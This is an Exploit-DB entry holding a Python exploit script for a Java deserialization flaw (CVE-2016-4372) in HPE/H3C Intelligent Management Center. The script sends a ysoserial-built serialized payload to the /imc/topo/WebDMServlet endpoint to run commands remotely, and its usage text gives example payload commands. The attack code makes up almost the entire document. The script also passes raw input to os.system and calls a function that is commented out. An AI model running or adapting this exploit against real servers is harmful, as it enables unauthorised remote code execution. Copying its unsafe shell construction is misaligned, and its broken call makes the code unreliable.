HPE < 7.2 - Java Deserialization

EDB-ID: 42756
Author: Raphael Kuhn
Published: 2017-09-19
CVE: CVE-2016-4372
Type: Remote
Platform: Java
Vulnerable App: N/A

  
########################################################################################################
#
# HPE/H3C IMC - Java Deserialization Exploit
#
# Version 0.1
# Tested on Windows Server 2008 R2
# Name HPE/H3C IMC (Intelligent Management Center) Java 1.8.0_91
#
# Author:
# Raphael Kuhn (Daimler TSS)
#
# Special thanks to:
# Jan Esslinger (@H_ng_an) for the websphere exploit this one is based upon
#
#######################################################################################################

import requests
import sys
import os
import os.path
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

host = "127.0.0.1:8080"
payload_file = "payload.bin"
body = ""

def printUsage () :
print "......................................................................................................................"
print "."
print ". HPE/H3C - IMC Java Deserialization Exploit"
print "."
print ". Example 1: -payload-binary"
print ". [-] Usage: %s http[s]://<IP>:<PORT> -payload-binary payload" % sys.argv[0]
print ". [-] Example: %s https://127.0.0.1:8880 -payload-binary ysoserial_payload.bin" % sys.argv[0]
print ". 1. Create payload with ysoserial.jar (https://github.com/frohoff/ysoserial/releases) "
print ". java -jar ysoserial.jar CommonsCollections3 'cmd.exe /c ping -n 1 53.48.79.183' > ysoserial_payload.bin"
print ". 2. Send request to server"
print ". %s https://127.0.0.1:8880 -payload-binary ysoserial_payload.bin" % sys.argv[0]
print "."
print ". Example 2: -payload-string"
print '. [-] Usage: %s http[s]://<IP>:<PORT> -payload-string "payload"' % sys.argv[0]
print '. [-] Example: %s https://127.0.0.1:8880 -payload-string "cmd.exe /c ping -n 1 53.48.79.183"' % sys.argv[0]
print ". 1. Send request to server with payload as string (need ysoserial.jar in the same folder)"
print '. %s https://127.0.0.1:8880 -payload-string "cmd.exe /c ping -n 1 53.48.79.183"' % sys.argv[0]
print "."
print "......................................................................................................................"

def loadPayloadFile (_fileName) :
print "[+] Load payload file %s" % _fileName
payloadFile = open(_fileName, 'rb')
payloadFile_read = payloadFile.read()
return payloadFile_read

def exploit (_payload) :
url = sys.argv[1]
url += "/imc/topo/WebDMServlet"
print "[+] Sending exploit to %s" % (url)
data = _payload
response = requests.post(url, data=data, verify=False)
return response

#def showResponse(_response):
# r = response
# m = r.search(_response)
# if (m.find("java.lang.NullPointerException")):
# print "[+] Found java.lang.NullPointerException, exploit finished successfully (hopefully)"
# else:
# print "[-] ClassCastException not found, exploit failed"


if __name__ == "__main__":
if len(sys.argv) < 4:
printUsage()
sys.exit(0)
else:
print "------------------------------------------"
print "- HPE/H3C - IMC Java Deserialization Exploit -"
print "------------------------------------------"
host = sys.argv[1]
print "[*] Connecting to %s" %host
if sys.argv[2] == "-payload-binary":
payload_file = sys.argv[3]
if os.path.isfile(payload_file):
payload = loadPayloadFile(payload_file)
response = exploit(payload)
showResponse(response.content)
else:
print "[-] Can't load payload file"
elif sys.argv[2] == "-payload-string":
if os.path.isfile("ysoserial.jar"):
sPayload = sys.argv[3]
sPayload = "java -jar ysoserial.jar CommonsCollections5 '" +sPayload+ "' > payload.bin"
print "[+] Create payload file (%s) " %sPayload
os.system(sPayload)
payload = loadPayloadFile(payload_file)
response = exploit(payload)
print "[+] Response received, exploit finished."
else:
print "[-] Can't load ysoserial.jar"
else:
printUsage()

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